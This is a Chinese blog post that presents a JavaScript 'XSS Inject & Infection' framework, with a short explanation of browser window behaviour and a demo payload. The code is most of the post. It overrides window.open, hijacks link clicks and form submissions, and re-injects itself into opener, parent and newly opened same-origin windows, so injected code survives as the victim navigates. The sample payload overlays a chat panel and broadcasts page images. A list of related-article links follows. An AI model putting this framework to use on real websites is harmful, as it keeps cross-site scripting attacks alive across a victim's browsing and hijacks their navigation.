首先需要了解一下几点:

1.浏览器中Javascript变量的生命周期

  Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。

2.window对象下方法会在在窗口被关闭时清掉,比如:

window.setTimeout(function(){
alert('Hello')
},5000)

  如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。

  3.window.opener可以获取打开当前页面的窗口

  4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]

  5.跨域的窗口无法操作,尝试修改document.domain直接异常

  6.所有代码测试于Chrome浏览器,未测试其他浏览器

下面是代码实现,点击按钮可以立即体验:

点我开启XSS

  


/**
* Created by AepKill on 2015-7-1 10:53:17
* XSS Inject & Infection
*/
var XSS=(function(){
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
var TOOL={
extend:function(){
if (arguments.length<=0) return {};
var result={};
for(var i= 0,l=arguments.length;i<l;i++){
for (var j in arguments[i]){
result[j]=arguments[i][j];
}
}
return result;
},
//RunCode
injectCode:function(win,code,args,self){
if (! win.window === win){
return false;
}
try {
win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);
}
catch(e){
}
return true;
},
dispatchMessage:function(winList,args){
winList.getWinList().forEach(function(distWin){
try{
var message=distWin[MODULE_NAME]['Message'];
message.dispatch.apply(message,Array.prototype.slice.call(args));
}catch(e){ }
})
},
sysDispatchMessage:function(winList,args){ }
}; /*Message*/
function Message(){
//消息
var messageList={};
//消息订阅
this.subscription=function(msg){
if (messageList[msg] === undefined ){
messageList[msg]=new Array();
}
Array.prototype.slice.call(arguments,1).forEach(function(e){
if (typeof e == "function") messageList[msg].push(e);
});
};
//消息退订
this.unsubscribe=function(msg){
var msglist=messageList[msg];
Array.prototype.slice.call(arguments,1).forEach(function(e){
for (var i=0;i<msglist.length;i++){
if (msglist[i]==e){
msglist.splice(i,1);
i--;
}
}
});
};
//消息派送
this.dispatch=function(msg){
var args=Array.prototype.slice.call(arguments,1);
if (messageList[msg]){
messageList[msg].forEach(function(e){
e.apply(null,args);
})
}
}
}
/*End With Message*/ /*WinList*/
function CreateWinList(winList){ function WinList(winList){
var winList=winList.concat(); this.deleteWindow=function(win){
for (var i= 0,l=winList.length;i<l;i++){
if (win===winList[i]){
winList.splice(i,1);
break;
}
}
};
this.hasWindow=function(win){
return winList.indexOf(win)!==-1;
};
this.addWindow=function(win){
if (this.hasWindow(win)) return ;
winList.push(win);
}
this.getWinList=function(){
return winList.concat();
};
this.isEmpty=function(){
return winList.length===0;
};
this.clearCloseWindow=function(){
winList.forEach(function(e,i){
if (e.closed){
winList.splice(i,1);
}
})
} }
WinList.prototype=new Message(); return Object.freeze(new WinList(winList));
}
/*End With WinList*/ /*CoreModule*/ function CoreModule(opt,winList,message,TOOL,globalObj){
var window=this;
var _open=window.open;
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
window[MODULE_NAME]={};
var module=window[MODULE_NAME];
module['Message']=message;
if (module['RunCode'] === undefined) module['RunCode']=false;
window.open=function(){
var win=_open.apply(this,arguments);
if (win){
winList.dispatch('windowJoin',win);
window['openWin']=win;
};
return win;
}; function afterLoad(){
module['RunCode']=true;
TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);
window.document.addEventListener('click',function(e){
var el= e.target;
do{
if (el.tagName == 'A'){
e.preventDefault();
e.stopPropagation();
window.open(el.href);
break;
}
el=el.parentNode;
}while(el!=document)
});
window.document.addEventListener('submit', function(e){
var name = Math.random().toString();
open('', name);
var form = e.target;
form.target = name;
});
window.addEventListener("unload", function( event ) {
winList.dispatch('windowQuit',window,event);
});
}; window.addEventListener('DOMContentLoaded',function(){
if (module['RunCode']===false) afterLoad();
});
setTimeout(function(){
if (module['RunCode']===false) afterLoad();
},1000);
} /*End With CoreModule*/ var defaults={
runCode:function(winList,win,message,global){
/*
* winList 当前所有感染窗口的列表
* win 执行代码环境的window对象
* message 消息队列 可订阅、发送消息
* global 全局对象
* 说明:runCode在每个窗口都会执行一次
* */
console.log('汪汪汪------');
}
} return function(opt){
var winList=CreateWinList([]);
opt=TOOL.extend(defaults,opt||{});
var globalObj=Object.freeze({
dispatch:function(){
TOOL.dispatchMessage(winList,arguments);
},
getWinList:function(){
return winList.getWinList();
},
data:{ }
});
winList.subscription('windowJoin',function(win){
if (!win.window || win.closed) return ;
winList.clearCloseWindow();
var message=new Message();
TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);
globalObj.dispatch('windowJoin',win);
winList.addWindow(win);
//console.log('JOIN',winList.getWinList().length);
});
winList.subscription('windowQuit',function(win,event){
winList.clearCloseWindow();
if (winList.hasWindow(win)){
winList.deleteWindow(win);
}else{
return;
} globalObj.dispatch('windowQuit',win); if (!winList.isEmpty()){
var hero=winList.getWinList()[0];
TOOL.injectCode(hero,function(winList,win){
setTimeout(function(){
winList.dispatch('windowJoin',win);
},500);
},[winList,win]);
} }); //从iframe中往上遍历
if (window.top != window.self){
var win = window;
while (win = win.parent) { }
winList.dispatch('windowJoin',win);
}else{
winList.dispatch('windowJoin',window);
} //遍历打开的窗口
var temp1=window.opener;
while(temp1){
winList.dispatch('windowJoin',temp1);
temp1=temp1.opener;
}; };
})(); XSS({
runCode:function(winList,win,message,global) { var window=win; function code() {
var strVar = "";
strVar += "";
strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";
strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";
strVar += "";
strVar += " <\/p>";
strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";
strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";
strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";
strVar += " <\/form>";
var css = "";
css += "position:fixed;";
css += "z-index:99999999;";
css += "left:50%;";
css += "top:50%;";
css += "height50%;";
css += "margin-left:-300px;";
css += "margin-top:-225px;";
css += "height: 450px;";
css += "width: 600px;";
css += "border-radius: 10px;";
css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";
css += "background:rgba(88,88,88,0.8) "; var div=document.createElement('div');
div.style.cssText=css;
div.innerHTML=strVar;
document.body.appendChild(div); var text=document.querySelector('#showBox'); function appendText(txt){
text.innerHTML+=txt+'<br/>';
} document.querySelector('#form1').onsubmit=function(e){
appendText('我说:'+this['content'].value)
global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);
e.stopPropagation();
e.preventDefault();
return false;
}
appendText('['+document.title+'] 页面被注入了代码');
message.subscription('Say',function(win,message){
if (win!==window) appendText(message);
});
message.subscription('windowJoin',function(win){
appendText('['+win.document.title+'] 页面被注入了代码');
});
message.subscription('windowQuit',function(win){
appendText('['+win.document.title+'] 页面被关闭了');
}); var imgList=window.document.querySelectorAll('img');
var count=0;
var timer=window.setInterval(function(){
appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )
global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );
if (count>=imgList){
clearInterval(timer);
}
},2000);
}
if (document.body) {
code();
} else {
window.addEventListener('DOMContentLoaded', code);
}
}
});

 

XSS代码注入框架的更多相关文章

  1. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  2. HTML5 App的代码注入攻击

    原文链接 摘要 基于HTML5的手机app(译者注:以下简称HTML5 app)越来越流行了, 在大多数情况下它比native应用更容易适配不同的移动操作系统.它开发起来很方便,可以使用标准的web技 ...

  3. [Android]依赖注入框架google的dagger

    分享一下Android依赖注入框架--Google升级版Dagger2框架 Google的Dagger2是对上一版squareup的Dagger改版,话不多说直接上项目代码. Dagger2源码 Da ...

  4. ButterKnife--View注入框架的使用

    作为一名Android开发,是不是经常厌烦了大量的findViewById以及setOnClickListener代码,而ButterKnife是一个专注于Android系统的View注入框架,让你从 ...

  5. 【原】iOS动态性(三) Method Swizzling以及AOP编程:在运行时进行代码注入

    概述 今天我们主要讨论iOS runtime中的一种黑色技术,称为Method Swizzling.字面上理解Method Swizzling可能比较晦涩难懂,毕竟不是中文,不过你可以理解为“移花接木 ...

  6. ButterKnife--View注入框架

    俗话说,不会偷懒的程序员不是好程序员!作为一名Android的开发者,我们已经厌烦了经常写大量的findViewById以及setOnClickListener代码.而ButterKnife是一个专注 ...

  7. Android Dagger依赖注入框架浅析

    今天接触了Dagger这套android的依赖注入框架(DI框架).感觉跟Spring 的IOC差点儿相同吧.这个框架它的优点是它没有採用反射技术(Spring是用反射的),而是用预编译技术.因为基于 ...

  8. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  9. 玩转ButterKnife注入框架

    在去年这个时候,我写过一篇介绍Android注解的文章android注解使用详解,这篇文章主要是介绍了Android中的AndroidAnnotations注入框架,AA框架有它自身的一些优点,这里不 ...

随机推荐

  1. IIS 下 搭建简单的FTP服务器

    1. 修改用户策略, 创建简单用户密码 命令行输入 gpedit.msc 打开组策略 位置 2. 创建一个FTP使用的用户 net user zhaobsh Test6530 /add 3. 安装II ...

  2. Laravel 从入门到精通系列教程

    转载;https://laravelacademy.org/laravel-tutorial-5_7 适用于 Laravel 5.5.5.6.5.7 版本,本系列教程将围绕一个 LTS 版本,然后采取 ...

  3. #LOJ2564 SDOI2018 原题识别 主席树

    转载请注明原文地址:http://www.cnblogs.com/LadyLex/p/9057297.html 原题链接: 今天考试考了前天的SDOI考题 天啊我菜爆,只有T2拿了30分 然后考试后半 ...

  4. CodeForces - 707C

    C. Pythagorean Triples time limit per test 1 second memory limit per test 256 megabytes input standa ...

  5. 【Luogu4609】建筑师(第一类斯特林数,组合数学)

    [Luogu4609]建筑师(组合数学) 题面 洛谷 题解 首先发现整个数组一定被最高值切成左右两半,因此除去最高值之后在左右分开考虑. 考虑一个暴力\(dp\) ,设\(f[i][j]\)表示用了\ ...

  6. 洛谷P1445 樱花

    题意:求 1/x + 1/y = 1/(n!)的正整数解个数. 解:神仙...... 设(n!) = t 打表发现 x ∈ [t+1 , 2t] 反正就是拿到式子以后乱搞一通然后发现得到了这个很美观的 ...

  7. 【洛谷P1892】团伙

    题目大意:维护 N 个人和 M 个关系,对每个人来说符合:我朋友的朋友也是我的朋友,我敌人的敌人也是我的朋友,求最多有多少个朋友构成的联通块. 题目大意:维护关系显然要用到并查集,这里是维护了两种关系 ...

  8. easyui form 提交问题,纠结了很久,有点诡异

    http://www.iteye.com/problems/131602 form 提交,后台运行有时慢,页面就不等后台数据的响应,直接alert("服务器维护中,请稍后再试!") ...

  9. LeetCode 8 有效的括号

    给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效. 有效字符串需满足: 左括号必须用相同类型的右括号闭合. 左括号必须以正确的顺序闭合. 注意空字符串可被认 ...

  10. linux c 编程 ------ 串口编程

    http://blog.csdn.net/specialshoot/article/details/50707965 对于串口的打开操作,必须使用O_NOCTTY参数.O_NOCTTY如果路径名指向终 ...